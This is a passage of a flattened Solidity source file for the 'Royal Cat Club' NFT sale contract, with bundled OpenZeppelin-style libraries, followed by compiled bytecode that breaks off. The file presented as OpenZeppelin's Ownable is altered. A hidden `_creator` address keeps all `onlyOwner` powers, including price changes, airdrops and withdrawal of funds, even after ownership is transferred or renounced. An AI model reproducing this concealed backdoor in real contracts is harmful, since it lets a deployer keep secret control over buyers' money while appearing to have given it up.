{xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}( data ); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: node_modules\openzeppelin-solidity\contracts\utils\Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: node_modules\openzeppelin-solidity\contracts\utils\Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: node_modules\openzeppelin-solidity\contracts\utils\introspection\ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require( owner != address(0), "ERC721: balance query for the zero address" ); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require( owner != address(0), "ERC721: owner query for nonexistent token" ); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\extensions\IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: openzeppelin-solidity\contracts\access\Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; address private _creator; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; _creator = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require( owner() == _msgSender() || _creator == _msgSender(), "Ownable: caller is not the owner" ); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: openzeppelin-solidity\contracts\token\ERC721\extensions\ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require( index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds" ); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require( index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds" ); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts\lib\Counters.sol pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); { counter._value = value - 1; } } } pragma solidity ^0.8.0; contract RoyalCatClub is ERC721Enumerable, Ownable { using Counters for Counters.Counter; using Strings for uint256; address payable private _PaymentAddress; uint256 public ROYCC_MAX = 10100; uint256 public PRESALE_PRICE = 0.0444 ether; uint256 public PUBLIC_PRICE = 0.0444 ether; uint256 private REVEAL_DELAY = 0 hours; uint256 private PRESALE_HOURS = 0 hours; uint256 public PURCHASE_LIMIT = 20; uint256 public PRESALE_MINT_LIMIT = ROYCC_MAX; uint256 public PUBLIC_MINT_LIMIT = ROYCC_MAX; uint256 private FEE_PERCENT = 0; mapping(address => bool) _mappingWhiteList; mapping(uint256 => uint256) _mappingMintTimestamp; mapping(address => uint256) _mappingMintCount; uint256 private _activeDateTime; uint256 private _revealDateTime; string private _tokenBaseURI = ""; string private _revealURI = ""; Counters.Counter private _publicROYCC; constructor() ERC721("Royal Cat Club", "ROYCC") {} function setPaymentAddress(address paymentAddress) external onlyOwner { _PaymentAddress = payable(paymentAddress); } function setDevFee(uint256 devFee) external onlyOwner { FEE_PERCENT = devFee; } function setActiveDateTime(uint256 activeDateTime, uint256 revealDateTime) external onlyOwner { _activeDateTime = activeDateTime; _revealDateTime = revealDateTime; } function setRevealDelay(uint256 revealDelay) external onlyOwner { REVEAL_DELAY = revealDelay; } function setPresaleHours (uint256 presaleHours) external onlyOwner { PRESALE_HOURS = presaleHours; } function setWhiteList(address[] memory whiteListAddress, bool bEnable) external onlyOwner { for (uint256 i = 0; i < whiteListAddress.length; i++) { _mappingWhiteList[whiteListAddress[i]] = bEnable; } } function setMintPrice(uint256 presaleMintPrice, uint256 publicMintPrice) external onlyOwner { PRESALE_PRICE = presaleMintPrice; PUBLIC_PRICE = publicMintPrice; } function setMaxLimit(uint256 maxLimit) external onlyOwner { ROYCC_MAX = maxLimit; } function setPurchaseLimit(uint256 purchaseLimit, uint256 presaleMintLimit, uint256 publicMintLimit) external onlyOwner { PURCHASE_LIMIT = purchaseLimit; PRESALE_MINT_LIMIT = presaleMintLimit; PUBLIC_MINT_LIMIT = publicMintLimit; } function PRICE(address addr) public view returns (uint256) { require(block.timestamp > _activeDateTime - PRESALE_HOURS , "Mint is not activated"); if (block.timestamp < _activeDateTime) { require(_mappingWhiteList[addr] == true , "Only Whitelist member can mint now"); return PRESALE_PRICE; } else { return PUBLIC_PRICE; } } function setRevealURI(string memory revealURI) external onlyOwner { _revealURI = revealURI; } function setBaseURI(string memory baseURI) external onlyOwner { _tokenBaseURI = baseURI; } function airdrop(address to, uint256 numberOfTokens) external onlyOwner { for (uint256 i = 0; i < numberOfTokens; i++) { uint256 tokenId = _publicROYCC.current(); if (_publicROYCC.current() < ROYCC_MAX) { _publicROYCC.increment(); _safeMint(to, tokenId); _mappingMintTimestamp[tokenId] = block.timestamp; } } } function purchase(uint256 numberOfTokens) external payable { require(numberOfTokens <= PURCHASE_LIMIT,"Can only mint up to purchase limit"); require(_publicROYCC.current() < ROYCC_MAX,"Purchase would exceed ROYCC_MAX"); if (msg.sender != owner()) { _mappingMintCount[msg.sender] = _mappingMintCount[msg.sender] + numberOfTokens; require(PRICE(msg.sender) * numberOfTokens <= msg.value,"ETH amount is not sufficient"); if (_mappingWhiteList[msg.sender] == false) { require(block.timestamp > _activeDateTime,"Contract is not active"); require(_mappingMintCount[msg.sender] <= PUBLIC_MINT_LIMIT,"Overflow for PUBLIC_MINT_LIMIT"); } else { if (block.timestamp < _activeDateTime) { require(block.timestamp > _activeDateTime - PRESALE_HOURS,"Contract is not active for presale"); require(_mappingMintCount[msg.sender] <= PRESALE_MINT_LIMIT,"Overflow for PRESALE_MINT_LIMIT"); } else { require(_mappingMintCount[msg.sender] <= PUBLIC_MINT_LIMIT + PRESALE_MINT_LIMIT,"Overflow for PUBLIC_MINT_LIMIT + PRESALE_MINT_LIMIT"); } } if (FEE_PERCENT > 0) { uint256 feeAmount = (msg.value * FEE_PERCENT) / 100; _PaymentAddress.transfer(msg.value - feeAmount); } else { _PaymentAddress.transfer(msg.value); } } for (uint256 i = 0; i < numberOfTokens; i++) { uint256 tokenId = _publicROYCC.current(); if (_publicROYCC.current() < ROYCC_MAX) { _publicROYCC.increment(); _safeMint(msg.sender, tokenId); _mappingMintTimestamp[tokenId] = block.timestamp; } } } function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) { require(_exists(tokenId), "Token does not exist"); if (_mappingMintTimestamp[tokenId] + REVEAL_DELAY < block.timestamp && _revealDateTime < block.timestamp) { return string(abi.encodePacked(_tokenBaseURI, tokenId.toString())); } return _revealURI; } function withdraw() external onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } }
0x60806040526004361061023b5760003560e01c80638ba4cc3c1161012e578063bceae77b116100ab578063e43f696e1161006f578063e43f696e1461067f578063e985e9c51461069f578063efef39a1146106e8578063f2fde38b146106fb578063f5ebec801461071b57600080fd5b8063bceae77b146105fd578063bf8bcee414610613578063c71ff95214610633578063c87b56dd14610649578063d75e61101461066957600080fd5b8063a811a37b116100f2578063a811a37b1461055d578063b44302a31461057d578063b88753431461059d578063b88d4fde146105bd578063bc7e2424146105dd57600080fd5b80638ba4cc3c146104ca5780638da5cb5b146104ea57806395d89b4114610508578063a22cb4651461051d578063a68c25d81461053d57600080fd5b80633ccfd60b116101bc578063611f3f1011610180578063611f3f101461044957806362dc6e211461045f5780636352211e1461047557806370a0823114610495578063715018a6146104b557600080fd5b80633ccfd60b146103b457806342842e0e146103c95780634f6ccce7146103e957806355f804b3146104095780635e1e10041461042957600080fd5b80630b2df33d116102035780630b2df33d1461031157806318160ddd1461033f5780631c75b6b21461035457806323b872dd146103745780632f745c591461039457600080fd5b806301ffc9a7146102405780630442bfa81461027557806306fdde0314610297578063081812fc146102b9578063095ea7b3146102f1575b600080fd5b34801561024c57600080fd5b5061026061025b3660046126ff565b610731565b60405190151581526020015b60405180910390f35b34801561028157600080fd5b5061029561029036600461279b565b61075c565b005b3480156102a357600080fd5b506102ac6107af565b60405161026c9190612915565b3480156102c557600080fd5b506102d96102d4366004612782565b610841565b6040516001600160a01b03909116815260200161026c565b3480156102fd57600080fd5b5061029561030c36600461260f565b6108d6565b34801561031d57600080fd5b5061033161032c3660046124d8565b6109ec565b60405190815260200161026c565b34801561034b57600080fd5b50600854610331565b34801561036057600080fd5b5061029561036f366004612782565b610adb565b34801561038057600080fd5b5061029561038f36600461252d565b610b1f565b3480156103a057600080fd5b506103316103af36600461260f565b610b50565b3480156103c057600080fd5b50610295610be6565b3480156103d557600080fd5b506102956103e436600461252d565b610c58565b3480156103f557600080fd5b50610331610404366004612782565b610c73565b34801561041557600080fd5b50610295610424366004612739565b610d06565b34801561043557600080fd5b506102956104443660046124d8565b610d58565b34801561045557600080fd5b50610331600f5481565b34801561046b57600080fd5b50610331600e5481565b34801561048157600080fd5b506102d9610490366004612782565b610db9565b3480156104a157600080fd5b506103316104b03660046124d8565b610e30565b3480156104c157600080fd5b50610295610eb7565b3480156104d657600080fd5b506102956104e536600461260f565b610f40565b3480156104f657600080fd5b50600a546001600160a01b03166102d9565b34801561051457600080fd5b506102ac610fe2565b34801561052957600080fd5b506102956105383660046125e5565b610ff1565b34801561054957600080fd5b50610295610558366004612782565b6110b6565b34801561056957600080fd5b50610295610578366004612739565b6110fa565b34801561058957600080fd5b50610295610598366004612782565b61114c565b3480156105a957600080fd5b506102956105b836600461279b565b611190565b3480156105c957600080fd5b506102956105d8366004612569565b6111da565b3480156105e957600080fd5b506102956105f83660046127bd565b611212565b34801561060957600080fd5b5061033160145481565b34801561061f57600080fd5b5061029561062e366004612782565b61125f565b34801561063f57600080fd5b50610331600d5481565b34801561065557600080fd5b506102ac610664366004612782565b6112a3565b34801561067557600080fd5b5061033160125481565b34801561068b57600080fd5b5061029561069a366004612639565b6113f5565b3480156106ab57600080fd5b506102606106ba3660046124fa565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b6102956106f6366004612782565b61149b565b34801561070757600080fd5b506102956107163660046124d8565b611922565b34801561072757600080fd5b5061033160135481565b60006001600160e01b0319821663780e9d6360e01b1480610756575061075682611a22565b92915050565b600a546001600160a01b031633148061077f5750600b546001600160a01b031633145b6107a45760405162461bcd60e51b815260040161079b9061297a565b60405180910390fd5b600e91909155600f55565b6060600080546107be90612abf565b80601f01602080910402602001604051908101604052809291908181526020018280546107ea90612abf565b80156108375780601f1061080c57610100808354040283529160200191610837565b820191906000526020600020905b81548152906001019060200180831161081a57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166108ba5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161079b565b506000908152600460205260409020546001600160a01b031690565b60006108e182610db9565b9050806001600160a01b0316836001600160a01b0316141561094f5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152